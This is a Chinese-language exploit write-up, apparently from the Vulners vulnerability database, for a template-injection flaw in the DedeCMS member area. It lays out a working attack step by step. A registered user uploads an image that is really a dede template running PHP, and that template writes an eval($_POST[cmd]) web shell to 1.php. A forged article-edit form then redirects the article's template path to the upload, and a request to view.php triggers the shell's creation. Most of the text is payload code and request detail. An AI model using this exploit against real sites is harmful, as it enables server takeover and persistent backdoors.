1.上传一个模板文件:
注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
uploads/userup/2/12OMX04-15A.jpg
模板内容是(如果限制图片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改刚刚发表的文章,查看源文件,构造一个表单:
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
<div class="postForm">
<label>标题:</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
<label>标签TAG:</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
<label>作者:</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
<label>隶属栏目:</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
<label>我的分类:</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
<label>信息摘要:</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
<label>缩略图:</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">(这里构造)
</div>
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="&lt;div&gt;&lt;a href=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; alt=&quot;&quot; src=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; width=&quot;1010&quot; height=&quot;456&quot; /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;&amp;lt;?phpinfo()?&amp;gt;1111111&lt;/p&gt;" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&amp;Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
<label>验证码:</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'" />
<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
</div>
</div>
</form>
提交,提示修改成功,则我们已经成功修改模板路径。
3.访问修改的文章:
假设刚刚修改的文章的aid为2,则我们只需要访问:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell:1.php
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation